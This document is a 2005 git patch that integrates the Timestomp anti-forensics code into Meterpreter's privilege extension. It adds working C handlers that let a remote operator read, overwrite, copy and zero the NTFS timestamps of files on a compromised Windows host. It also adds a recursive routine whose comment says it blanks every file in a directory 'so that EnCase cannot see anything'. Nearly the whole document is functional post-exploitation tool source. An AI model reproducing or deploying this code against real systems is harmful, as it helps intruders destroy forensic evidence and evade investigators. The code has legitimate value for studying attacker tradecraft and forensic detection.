From ecd0afd28b38a63abd050fb4f76d02d376982b9c Mon Sep 17 00:00:00 2001 From: Matt Miller <mmiller@hick.org> Date: Wed, 14 Dec 2005 00:34:05 +0000 Subject: [PATCH] timestomp integration git-svn-id: file:///home/svn/incoming/trunk@3219 4d416f70-5f16-0410-b530-b9f4589650da --- c/meterpreter/source/extensions/priv/priv.h | 31 ++ .../source/extensions/priv/server/fs.c | 245 +++++++++++ .../source/extensions/priv/server/fs.h | 10 + .../source/extensions/priv/server/precomp.h | 1 + .../source/extensions/priv/server/priv.c | 22 + .../source/extensions/priv/server/timestomp.c | 405 ++++++++++++++++++ .../ext_server_priv/ext_server_priv.dsp | 12 + 7 files changed, 726 insertions(+) create mode 100644 c/meterpreter/source/extensions/priv/server/fs.c create mode 100644 c/meterpreter/source/extensions/priv/server/fs.h create mode 100644 c/meterpreter/source/extensions/priv/server/timestomp.c diff --git a/c/meterpreter/source/extensions/priv/priv.h b/c/meterpreter/source/extensions/priv/priv.h index 35af1271..fb359a1d 100644 --- a/c/meterpreter/source/extensions/priv/priv.h +++ b/c/meterpreter/source/extensions/priv/priv.h @@ -12,4 +12,35 @@ TLV_TYPE_EXTENSION_PRIV, \ TLV_EXTENSIONS + 1) +#define TLV_TYPE_FS_FILE_MODIFIED \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 100) +#define TLV_TYPE_FS_FILE_ACCESSED \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 101) +#define TLV_TYPE_FS_FILE_CREATED \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 102) +#define TLV_TYPE_FS_FILE_EMODIFIED \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_UINT, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 103) +#define TLV_TYPE_FS_FILE_PATH \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 110) +#define TLV_TYPE_FS_SRC_FILE_PATH \ + MAKE_CUSTOM_TLV( \ + TLV_META_TYPE_STRING, \ + TLV_TYPE_EXTENSION_PRIV, \ + TLV_EXTENSIONS + 111) + #endif diff --git a/c/meterpreter/source/extensions/priv/server/fs.c b/c/meterpreter/source/extensions/priv/server/fs.c new file mode 100644 index 00000000..f129404a --- /dev/null +++ b/c/meterpreter/source/extensions/priv/server/fs.c @@ -0,0 +1,245 @@ +#include "precomp.h" + +// Import code from timestomp +#include "timestomp.c" + +#define EpochTimeToSystemTime(epoch, sys) \ + { \ + struct tm *et = localtime(&epoch); \ + memset(sys, 0, sizeof(SYSTEMTIME)); \ + (sys)->wYear = et->tm_year + 1900; \ + (sys)->wMonth = et->tm_mon + 1; \ + (sys)->wDay = et->tm_mday; \ + (sys)->wHour = et->tm_hour; \ + (sys)->wMinute = et->tm_min; \ + (sys)->wSecond = et->tm_sec; \ + } + +#define SystemTimeToEpochTime(sys, epoch) \ + { \ + struct tm et; \ + memset(&et, 0, sizeof(et)); \ + et.tm_year = (sys)->wYear - 1900; \ + et.tm_mon = (sys)->wMonth -1; \ + et.tm_mday = (sys)->wDay; \ + et.tm_hour = (sys)->wHour; \ + et.tm_min = (sys)->wMinute; \ + et.tm_sec = (sys)->wSecond; \ + *(epoch) = mktime(&et); \ + } + + +DWORD request_fs_get_file_mace(Remote *remote, Packet *packet) +{ + FILE_BASIC_INFORMATION fbi; + SYSTEMTIME lt; + Packet *response = packet_create_response(packet); + HANDLE file = NULL; + PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH); + struct { + LARGE_INTEGER *ft; + unsigned long tlv; + } fields[] = { + { &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED }, + { &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED }, + { &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED }, + { &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED }, + }; + int x; + + do + { + // Invalid file path, bail. + if (!filePath) + { + SetLastError(ERROR_INVALID_PARAMETER); + break; + } + + // If we fail to retrieve basic information, bail. + if (!(file = RetrieveFileBasicInformation(filePath, &fbi))) + break; + + // Convert the time for each field + for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++) + { + time_t epoch = 0; + + if (ConvertLargeIntegerToLocalTime(<, *fields[x].ft) != 1) + break; + + SystemTimeToEpochTime(<, &epoch); + + packet_add_tlv_uint(response, fields[x].tlv, epoch); + } + + SetLastError(ERROR_SUCCESS); + + } while (0); + + // Close the file handle. + if (file) + CloseHandle(file); + + packet_transmit_response(GetLastError(), remote, response); + + return ERROR_SUCCESS; +} + +DWORD request_fs_set_file_mace(Remote *remote, Packet *packet) +{ + FILE_BASIC_INFORMATION fbi; + Packet *response = packet_create_response(packet); + HANDLE file = NULL; + PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH); + struct { + LARGE_INTEGER *ft; + unsigned long tlv; + } fields[] = { + { &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED }, + { &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED }, + { &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED }, + { &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED }, + }; + int x; + + do + { + // Invalid file path, bail. + if (!filePath) + { + SetLastError(ERROR_INVALID_PARAMETER); + break; + } + + // If we fail to retrieve basic information, bail. + if (!(file = RetrieveFileBasicInformation(filePath, &fbi))) + break; + + // If the TLV for the associated field is supplied, update it. + for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++) + { + SYSTEMTIME st; + unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv); + + if (!epoch) + continue; + + EpochTimeToSystemTime(epoch, &st); + + // Conversion failed, that sucks. + if (ConvertLocalTimeToLargeInteger(st, fields[x].ft) == 0) + break; + } + + // If we fail to set the MACE, bail. + if (SetFileMACE(file, fbi) == 0) + break; + + SetLastError(ERROR_SUCCESS); + + } while (0); + + // Close the file handle. + if (file) + CloseHandle(file); + + packet_transmit_response(GetLastError(), remote, response); + + return ERROR_SUCCESS; +} + +DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet) +{ + FILE_BASIC_INFORMATION fbi; + Packet *response = packet_create_response(packet); + PCHAR tgtFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH); + PCHAR srcFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH); + HANDLE srcFile = NULL, tgtFile = NULL; + ULONG attributes; + + do + { + // Are we missing something? + if (!tgtFilePath || !srcFilePath) + { + SetLastError(ERROR_INVALID_PARAMETER); + break; + } + + // Get info. + if (!(tgtFile = RetrieveFileBasicInformation(tgtFilePath, &fbi))) + break; + attributes = fbi.FileAttributes; + if (!(srcFile = RetrieveFileBasicInformation(srcFilePath, &fbi))) + break; + fbi.FileAttributes = attributes; + + if (SetFileMACE(tgtFile, fbi) == 0) + break; + + SetLastError(ERROR_SUCCESS); + + } while (0); + + if (srcFile) + CloseHandle(srcFile); + if (tgtFile) + CloseHandle(tgtFile); + + packet_transmit_response(GetLastError(), remote, response); + + return ERROR_SUCCESS; +} + +DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH); + + do + { + // Are we missing something? + if (!filePath) + { + SetLastError(ERROR_INVALID_PARAMETER); + break; + } + + if (SetMinimumTimeValues(filePath) == 0) + break; + + SetLastError(ERROR_SUCCESS); + + } while (0); + + packet_transmit_response(GetLastError(), remote, response); + + return ERROR_SUCCESS; +} + +DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH); + + do + { + // Are we missing something? + if (!filePath) + { + SetLastError(ERROR_INVALID_PARAMETER); + break; + } + + if (TheCraigOption(filePath) == 0) + break; + + SetLastError(ERROR_SUCCESS); + + } while (0); + + packet_transmit_response(GetLastError(), remote, response); + + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/extensions/priv/server/fs.h b/c/meterpreter/source/extensions/priv/server/fs.h new file mode 100644 index 00000000..09b56d33 --- /dev/null +++ b/c/meterpreter/source/extensions/priv/server/fs.h @@ -0,0 +1,10 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H +#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H + +DWORD request_fs_get_file_mace(Remote *remote, Packet *packet); +DWORD request_fs_set_file_mace(Remote *remote, Packet *packet); +DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet); +DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet); +DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet); + +#endif diff --git a/c/meterpreter/source/extensions/priv/server/precomp.h b/c/meterpreter/source/extensions/priv/server/precomp.h index c5467495..87868389 100644 --- a/c/meterpreter/source/extensions/priv/server/precomp.h +++ b/c/meterpreter/source/extensions/priv/server/precomp.h @@ -4,6 +4,7 @@ #define _WIN32_WINNT 0x0400 #include "../priv.h" #include "passwd.h" +#include "fs.h" #define strcasecmp stricmp diff --git a/c/meterpreter/source/extensions/priv/server/priv.c b/c/meterpreter/source/extensions/priv/server/priv.c index bf3ad09d..3a3f3fda 100644 --- a/c/meterpreter/source/extensions/priv/server/priv.c +++ b/c/meterpreter/source/extensions/priv/server/priv.c @@ -11,6 +11,28 @@ Command customCommands[] = { EMPTY_DISPATCH_HANDLER }, }, + // Fs + { "priv_fs_get_file_mace", + { request_fs_get_file_mace, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + { "priv_fs_set_file_mace", + { request_fs_set_file_mace, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + { "priv_fs_set_file_mace_from_file", + { request_fs_set_file_mace_from_file, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + { "priv_fs_blank_file_mace", + { request_fs_blank_file_mace, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + { "priv_fs_blank_directory_mace", + { request_fs_blank_directory_mace, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER }, + }, + // Terminator { NULL, { EMPTY_DISPATCH_HANDLER }, diff --git a/c/meterpreter/source/extensions/priv/server/timestomp.c b/c/meterpreter/source/extensions/priv/server/timestomp.c new file mode 100644 index 00000000..0a826cfd --- /dev/null +++ b/c/meterpreter/source/extensions/priv/server/timestomp.c @@ -0,0 +1,405 @@ +/* + Copyright (C) 2005 Vincent Liu + + This file is part of Timestomp + + Timestomp is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +// ####################################################################### +// ############ HEADER FILES +// ####################################################################### +#include <windows.h> +#include <stdio.h> + +// ####################################################################### +// ############ DEFINITIONS +// ####################################################################### +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define FILE_NON_DIRECTORY_FILE 0x00000040 + +typedef LONG NTSTATUS; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef enum _FILE_INFORMATION_CLASS { + FileBasicInformation = 4, + FileStandardInformation = 5, + FilePositionInformation = 14, + FileEndOfFileInformation = 20, +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; // Created + LARGE_INTEGER LastAccessTime; // Accessed + LARGE_INTEGER LastWriteTime; // Modifed + LARGE_INTEGER ChangeTime; // Entry Modified + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef NTSTATUS (WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); +typedef NTSTATUS (WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); + +DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime); +HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi); +DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger); +DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger); +DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi); +DWORD InputHandler(int argc, char **argv); +void PrintSystemTime(SYSTEMTIME systime); +void Usage(); + + +// ####################################################################### +// ############ FUNCTIONS +// ####################################################################### + +/* returns 0 on error, 1 on success. this function set the MACE values based on +the input from the FILE_BASIC_INFORMATION structure */ +DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi) { + + HANDLE ntdll = NULL; + IO_STATUS_BLOCK iostatus; + pNtSetInformationFile NtSetInformationFile = NULL; + + ntdll = LoadLibrary("ntdll.dll"); + if (ntdll == NULL) { + return 0; + } + + NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); + if (NtSetInformationFile == NULL) { + return 0; + } + + if (NtSetInformationFile(file, &iostatus, &fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) { + return 0; + } + + /* clean up */ + FreeLibrary(ntdll); + + return 1; +} + +/* returns the handle on success or NULL on failure. this function opens a file and returns +the FILE_BASIC_INFORMATION on it. */ +HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi) { + + HANDLE file = NULL; + HANDLE ntdll = NULL; + pNtQueryInformationFile NtQueryInformationFile = NULL; + IO_STATUS_BLOCK iostatus; + + file = CreateFile(filename, FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL); + if (file == INVALID_HANDLE_VALUE) { + return 0; + } + + /* load ntdll and retrieve function pointer */ + ntdll = LoadLibrary("ntdll.dll"); + if (ntdll == NULL) { + CloseHandle(file); + return 0; + } + + /* retrieve current timestamps including file attributes which we want to preserve */ + NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, "NtQueryInformationFile"); + if (NtQueryInformationFile == NULL) { + CloseHandle(file); + return 0; + } + + /* obtain the current file information including attributes */ + if (NtQueryInformationFile(file, &iostatus, fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) { + CloseHandle(file); + return 0; + } + + /* clean up */ + FreeLibrary(ntdll); + + return file; +} + +// returns 0 on error, 1 on success. this function converts a SYSTEMTIME structure to a LARGE_INTEGER +DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger) { + + // the local time is stored in the system time structure argument which should be from the user + // input. the user inputs the times in local time which is then converted to utc system time because + // ntfs stores all timestamps in utc, which is then converted to a large integer + + // MSDN recommends converting SYSTEMTIME to FILETIME via SystemTimeToFileTime() and + // then copying the values in FILETIME to a ULARGE_INTEGER structure. + + FILETIME filetime; + FILETIME utcfiletime; + DWORD result = 0; + + /* + result = GetTimeZoneInformation(&timezone); + if (result == TIME_ZONE_ID_INVALID) { + printf("Error: Could not obtain the local time zone information.\n"); + return 0; + } + + if (TzSpecificLocalTimeToSystemTime(&timezone, &localsystemtime, &utcsystemtime) == 0) { + printf("Error: Couldn't convert local time to UTC time.\n"); + return 0; + } + */ + + // convert the SYSTEMTIME structure to a FILETIME structure + if (SystemTimeToFileTime(&localsystemtime, &filetime) == 0) { + return 0; + } + + // convert the local file time to UTC + if (LocalFileTimeToFileTime(&filetime, &utcfiletime) == 0) { + return 0; + } + + /* copying lowpart from a DWORD to DWORD, and copying highpart from a DWORD to a LONG. + potential data loss of upper values 2^16, but acceptable bc we wouldn't be able to set + this high even if we wanted to because NtSetInformationFile() takes a max of what's + provided in LARGE_INTEGER */ + largeinteger->LowPart = utcfiletime.dwLowDateTime; + largeinteger->HighPart = utcfiletime.dwHighDateTime; + + return 1; +} + +/* returns 0 on error, 1 on success. this function converts a LARGE_INTEGER to a SYSTEMTIME structure */ +DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger) { + + FILETIME filetime; + FILETIME localfiletime; + DWORD result = 0; + + filetime.dwLowDateTime = largeinteger.LowPart; + filetime.dwHighDateTime = largeinteger.HighPart; + + if (FileTimeToLocalFileTime(&filetime, &localfiletime) == 0) { + return 0; + } + + if (FileTimeToSystemTime(&localfiletime, localsystemtime) == 0) { + return 0; + } +/* + result = GetTimeZoneInformation(&timezone); + if (result == TIME_ZONE_ID_INVALID) { + printf("Error: Could not obtain the local time zone information.\n"); + return 0; + } + + if (SystemTimeToTzSpecificLocalTime(&timezone, &utcsystemtime, localsystemtime) == 0) { + printf("Error: Couldn't convert UTC time to local time.\n"); + return 0; + } +*/ + return 1; +} + +/* returns 1 on success or 0 on failure. this function converts an input string into a SYSTEMTIME structure */ +DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime) { + + char day[10]; + char daynight[3]; + + if (sscanf(inputstring, "%9s %hu/%hu/%hu %hu:%hu:%hu %2s", day, &systemtime->wMonth, &systemtime->wDay, &systemtime->wYear, &systemtime->wHour, &systemtime->wMinute, &systemtime->wSecond, daynight) == 0) { + return 0; + } + + /* sanitize input */ + if (strlen(day) > 0) { + CharLower(day); + } else { + return 0; + } + + do { + if (day[0] == 'm') { if (strncmp(day, "monday", 6) == 0) { systemtime->wDayOfWeek = 1; break; } } + if (day[0] == 't') { if (strncmp(day, "tuesday", 7) == 0) { systemtime->wDayOfWeek = 2; break; } + if (strncmp(day, "thursday", 8) == 0) { systemtime->wDayOfWeek = 4; break; } } + if (day[0] == 'w') { if (strncmp(day, "wednesday", 9) == 0) { systemtime->wDayOfWeek = 3; break; } } + if (day[0] == 'f') { if (strncmp(day, "friday", 6) == 0) { systemtime->wDayOfWeek = 5; break; } } + if (day[0] == 's') { if (strncmp(day, "saturday", 8) == 0) { systemtime->wDayOfWeek = 6; break; } + if (strncmp(day, "sunday", 6) == 0) { systemtime->wDayOfWeek = 0; break; } } + + return 0; + } while (0); + + + if (systemtime->wMonth < 1 || systemtime->wMonth > 12) { + return 0; + } + if (systemtime->wDay < 1 || systemtime->wDay > 31) { + return 0; + } + if (systemtime->wYear < 1601 || systemtime->wYear > 30827) { + return 0; + } + + if (strlen(daynight) > 0) { + CharLower(daynight); + } else { + return 0; + } + if (strncmp(daynight, "am", 2) == 0) { + if (systemtime->wHour < 1 || systemtime->wHour > 12) { + return 0; + } + } else if (strncmp(daynight, "pm", 2) == 0) { + if (systemtime->wHour < 1 || systemtime->wHour > 12) { + return 0; + } + if (systemtime->wHour != 12) { systemtime->wHour += 12; } + } else { + return 0; + } + + if(systemtime->wMinute < 0 || systemtime->wMinute > 59) { + return 0; + } + if(systemtime->wSecond < 0 || systemtime->wSecond > 59) { + return 0; + } + + /* it doesnt matter what the millisecond value is because the ntfs resolution for file timestamps is only up to 1s */ + systemtime->wMilliseconds = 0; + + return 1; +} + +// takes a file a sets the time values to the minimum possible value, return 1 on success or 0 on failure +DWORD SetMinimumTimeValues(char *filename) { + + HANDLE file = NULL; + FILE_BASIC_INFORMATION fbi; + SYSTEMTIME userinputtime; + + // open the file and retrieve information + file = RetrieveFileBasicInformation(filename, &fbi); + if (file == NULL) { + return 0; + } + + userinputtime.wYear = 1601; + userinputtime.wMonth = 1; + userinputtime.wDayOfWeek = 0; + userinputtime.wDay = 1; + userinputtime.wHour = 0; + userinputtime.wMinute = 0; + userinputtime.wSecond = 0; + userinputtime.wMilliseconds = 0; + if ((ConvertLocalTimeToLargeInteger(userinputtime, &fbi.ChangeTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.CreationTime) == 0) || + (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastAccessTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastWriteTime) == 0)) { + return 0; + } + if (SetFileMACE(file, fbi) == 0) { return 0; } + + return 1; +} + +// this function recursively blanks all files from the specified directory so that EnCase cannot see anything +DWORD TheCraigOption(char *directoryname) { + + // general variables + HANDLE file = NULL; + char currentfiletarget[MAX_PATH + 1]; + + // file search variables + HANDLE find = INVALID_HANDLE_VALUE; + WIN32_FIND_DATA FindFileData; + char fulldirectorypath[MAX_PATH + 1]; + + // set the target directories + strncpy(fulldirectorypath, directoryname, strlen(directoryname)+1); + strncat(fulldirectorypath, "\\*", 3); + + // search the directory + find = FindFirstFile(fulldirectorypath, &FindFileData); + if (find == INVALID_HANDLE_VALUE) { + if (GetLastError() == 5) { // access denied + return 1; + } + return 0; + } + + // recursively call TheCraigOption if the file type is a directory + if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) { + strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1); + strncat(currentfiletarget, "\\", 2); + strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName)); + if (TheCraigOption(currentfiletarget) == 0) { + return 0; + } + } + } else { + // set the full file name and lower the time values + strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1); + strncat(currentfiletarget, "\\", 2); + strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName)); + if (SetMinimumTimeValues(currentfiletarget) == 0) { + //return 0; + } + } + + // recursively set all values + while (FindNextFile(find, &FindFileData) != 0) { + + // recursively call TheCraigOption if the file type is a directory + if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) { + strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1); + strncat(currentfiletarget, "\\", 2); + strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName)); + if (TheCraigOption(currentfiletarget) == 0) { + return 0; + } + } + } else { + // set the full file name and lower the time values + strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1); + strncat(currentfiletarget, "\\", 2); + strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName)); + if (SetMinimumTimeValues(currentfiletarget) == 0) { + //return 0; + } + } + } + + // cleanup find data structures + if (FindClose(find) == 0) { + return 0; + } + if (GetLastError() != ERROR_NO_MORE_FILES) { + if (GetLastError() == 5) { // access denied + return 1; + } + return 0; + } + + return 1; +} diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp index e6c1e473..62ecbd05 100755 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.dsp @@ -102,6 +102,18 @@ SOURCE=..\..\source\extensions\priv\server\passwd.c SOURCE=..\..\source\extensions\priv\server\passwd.h # End Source File # End Group +# Begin Group "Fs" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=..\..\source\extensions\priv\server\fs.c +# End Source File +# Begin Source File + +SOURCE=..\..\source\extensions\priv\server\fs.h +# End Source File +# End Group # Begin Source File SOURCE=..\..\source\extensions\priv\server\precomp.h